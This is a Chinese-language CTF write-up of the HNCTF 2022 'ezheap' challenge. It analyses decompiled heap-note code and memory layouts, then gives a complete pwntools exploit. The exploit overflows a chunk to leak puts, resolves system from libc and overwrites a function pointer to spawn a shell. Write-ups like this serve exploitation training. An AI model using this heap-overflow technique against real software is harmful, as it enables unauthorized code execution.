chunkoff-by-one
山林川泽[HNCTF 2022 WEEK4]ezheap
NSS
来看题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { int v3; // [rsp+Ch] [rbp-4h]
init_env(argc, argv, envp); puts("Easy Note."); while ( 1 ) { while ( 1 ) { menu(); v3 = getnum(); if ( v3 != 4 ) break; edit(); } if ( v3 > 4 ) { LABEL_13: puts("Invalid!"); } else if ( v3 == 3 ) { show(); } else { if ( v3 > 3 ) goto LABEL_13; if ( v3 == 1 ) { add(); } else { if ( v3 != 2 ) goto LABEL_13; delete(); } } } }
|
可以观察到有新建,查看,修改,删除四种功能
add函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| int add() { __int64 v0; // rbx __int64 v1; // rax int v3; // [rsp+0h] [rbp-20h] signed int v4; // [rsp+4h] [rbp-1Ch]
puts("Input your idx:"); v3 = getnum(); puts("Size:"); v4 = getnum(); if ( (unsigned int)v4 > 0x100 ) { LODWORD(v1) = puts("Invalid!"); } else { *((_QWORD *)&heaplist + v3) = malloc(0x20uLL); if ( !*((_QWORD *)&heaplist + v3) ) { puts("Malloc Error!"); exit(1); } v0 = *((_QWORD *)&heaplist + v3); *(_QWORD *)(v0 + 16) = malloc(v4); *(_QWORD *)(*((_QWORD *)&heaplist + v3) + 32LL) = &puts; if ( !*(_QWORD *)(*((_QWORD *)&heaplist + v3) + 16LL) ) { puts("Malloc Error!"); exit(1); } sizelist[v3] = v4; puts("Name: "); if ( !(unsigned int)read(0, *((void **)&heaplist + v3), 0x10uLL) ) { puts("Something error!"); exit(1); } puts("Content:"); if ( !(unsigned int)read(0, *(void **)(*((_QWORD *)&heaplist + v3) + 16LL), sizelist[v3]) ) { puts("Error!"); exit(1); } puts("Done!"); v1 = *((_QWORD *)&heaplist + v3); *(_DWORD *)(v1 + 24) = 1; } return v1; }
|
分析程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| int add() { __int64 v0; __int64 v1; int v3; signed int v4;
puts("Input your idx:"); v3 = getnum(); puts("Size:"); v4 = getnum(); if ( (unsigned int)v4 > 0x100 ) { LODWORD(v1) = puts("Invalid!"); } else { *((_QWORD *)&heaplist + v3) = malloc(0x20uLL);* #这里 malloc 了 0x20 大小的内存块.然后将其地址存入 heaplist[] 这个指针数组下标为 idx 处 if ( !*((_QWORD *)&heaplist + v3) ) { puts("Malloc Error!"); exit(1); } v0 = *((_QWORD *)&heaplist + v3); *(_QWORD *)(v0 + 16) = malloc(v4); *(_QWORD *)(*((_QWORD *)&heaplist + v3) + 32LL) = &puts; if ( !*(_QWORD *)(*((_QWORD *)&heaplist + v3) + 16LL) ) { puts("Malloc Error!"); exit(1); } sizelist[v3] = v4; puts("Name: "); if ( !(unsigned int)read(0, *((void **)&heaplist + v3), 0x10uLL) ) { puts("Something error!"); exit(1); } puts("Content:"); if ( !(unsigned int)read(0, *(void **)(*((_QWORD *)&heaplist + v3) + 16LL), sizelist[v3]) ) { puts("Error!"); exit(1); } puts("Done!"); v1 = *((_QWORD *)&heaplist + v3); *(_DWORD *)(v1 + 24) = 1; } return v1; }
|
1 2 3 4 5 6 7 8 9
| ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ heaplist--> || || || idx || || || || || || || ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | | | |++++++++| ++++->| | | 0x20 | | | |++++++++|
|
第一步malloc(0x20)内存执行完毕后的内存空间
然后是
1 2
| v0 = heaplist[idx]; *(_QWORD *)(v0 + 16) = malloc(size);
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| malloc(0x20) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ heaplist--> || || || idx || || || || || || || ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | | | |++++++++| offset = 0 | | | |---> | |<----malloc_size_addr ; offset = 0x10 | | | |++++++++| | +++++++++++++++++ +------->| | | | | | | | +++++++++++++++++
|
继续执行
1
| *(_QWORD *)(heaplist[idx] + 32LL) = &puts;
|
这里可以看到程序把put函数的地址存入了heaplist[idx]偏移0x20的地方
这里的 heaplist[idx]不就是上面代码中的 v0 吗?这里肯定就是我们攻击的点了,但是这一块内存块一共就 32 个字节大小,这个地址从 32 处开始存,存到哪里了呢?
1
| 0x55555555b000 0x55555557c000 rw-p 21000 0 [heap]
|
执行到第二个add
在gdb中输入
可以看到
分配的内存块的地址是相连的,所以 puts 函数的地址就是写入到下一个 chunk 的头部去了
malloc函数分配内存块之后,返回给我们的地址是我们要使用的数据的起始地址,而不是 chunk 头的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 0x55555555b000: 0x0000000000000000 0x0000000000000031 0x55555555b010: 0x0000000000000a41 0x0000000000000000 0x55555555b020: 0x000055555555b040 0x0000000000000001 //name 0x55555555b030: 0x00007ffff786f6a0 0x0000000000000021 //content 0x55555555b040: 0x0000000000000a41 0x0000000000000000 0x55555555b050: 0x0000000000000000 0x0000000000000031 0x55555555b060: 0x0000000000000a42 0x0000000000000000 0x55555555b070: 0x000055555555b090 0x0000000000000001 0x55555555b080: 0x00007ffff786f6a0 0x0000000000000021 //name 0x55555555b090: 0x0000000000000a42 0x0000000000000000 //content 0x55555555b0a0: 0x0000000000000000 0x0000000000020f61 0x55555555b0b0: 0x0000000000000000 0x0000000000000000 0x55555555b0c0: 0x0000000000000000 0x0000000000000000 0x55555555b0d0: 0x0000000000000000 0x0000000000000000 0x55555555b0e0: 0x0000000000000000 0x0000000000000000 0x55555555b0f0: 0x0000000000000000 0x0000000000000000
|
我们可以把前一个堆用edit改变大小,溢出到070的位置把原本指向第二个content的堆指针改成指向puts的
下图是示例图
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| malloc(0x20) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ heaplist--> || || || idx || || || || || || || ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | chunk | | | ====================---+-->|-----|+++++++++++++| | | pre_size | 0x10 | |+++++++++++++| ========================---+---->|+++++++++++++| <----offset = 0 | | | name | 0x20 | | |+++++++++++++| <----offset = 0x10 | malloc_size | | _addr | --------------------------+ =================================|+++++++++++++| <----next chunk | | puts_addr | | 0x10 |+++++++++++++| | | size+flag | | =================================|+++++++++++++| <-------------------------+ size | content | =================================|+++++++++++++|
|
show函数
1 2 3 4 5
| if ( v1 >= 0 && v1 <= 15 && heaplist[v1] ) { (*(void (__fastcall **)(_QWORD))(heaplist[v1] + 32LL))(heaplist[v1]); result = (*(__int64 (__fastcall **)(_QWORD))(heaplist[v1] + 32LL))(*(_QWORD *)(heaplist[v1] + 16LL)); }
|
可知,在满足条件的情况下,将会去执行 puts
函数,这里调用了两次,第一次是将 heaplist[v1]
的值作为地址传入,会将 name
打印出来,第二个则是打印 content
中的内容。
若是我们可以 puts
出 puts
的地址,然后我们已经知道了所用的 libc
的版本,那我们就可以得到 system
的真实地址了,然后再次覆盖,将 puts
函数地址存放的位置改成 system
,将存放 name
字段的位置改成 /bin/sh
字符串,即可触发执行。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| from pwn import * from LibcSearcher import LibcSearcher context(log_level = 'debug',arch = 'amd64',os = 'linux')
io = remote('node5.anna.nssctf.cn',25207)
elf = ELF('./ezheap') libc = ELF('./libc-2.23.so')
def choice(idx): io.sendlineafter(b"Choice: ",str(idx))
def add(idx,size,name,content): choice(1) io.sendlineafter(b"Input your idx:",str(idx)) io.sendlineafter(b"Size:",str(size)) io.sendlineafter(b"Name: ",name) io.sendlineafter(b"Content:",content)
def edit(idx,size,content): choice(4) io.sendlineafter(b"Input your idx:",str(idx)) io.sendlineafter(b"Size:",str(size)) io.send(content)
def delete(idx): choice(2) io.sendlineafter(b"Input your idx:",str(idx))
def show(idx): choice(3) io.sendlineafter(b"Input your idx:",str(idx))
add(0,0x10,b"scc",b"aaaa") add(1,0x10,b"scc",b"aaaa")
payload = p64(0) * 3 + p64(0x31) + p64(0) * 2 + p8(0x80)
edit(0,0x31,payload)
show(1)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b"\x00")) libc_base = puts_addr - libc.sym["puts"]
system_addr = libc_base + libc.sym["system"]
payload = p64(0) * 3 + p64(0x31) + b"/bin/sh\x00" + p64(0) * 2 + p64(1) + p64(system_addr)
edit(0,0x48,payload) show(1)
|
总结:
- malloc函数分配内存块之后,返回给我们的地址是我们要使用的数据的起始地址,而不是
chunk
头的地址。
- 堆的由于 chunk 结构,像是一个循环
- 疑问:虽然理解了 0x80 到底是怎么得来的,但是这里为什么可以根据偏移值去拿到那个地址里的值呢?
这里越想越有趣,为什么payload中,包裹 0x80 的是 p8?是不是可以说明剩下的位根本就没有去改,因为堆会对齐,所以对于堆的基地址来说低3位是 0(这里的低三位是十六进制形式的低3位),那么我们只要改变低三位就是改变基地址的偏移,所以其实这里就是绝对地址,puts函数的绝对地址!(0x30也是可以的,这是第 0 个 add函数中 puts 函数所在的偏移位置)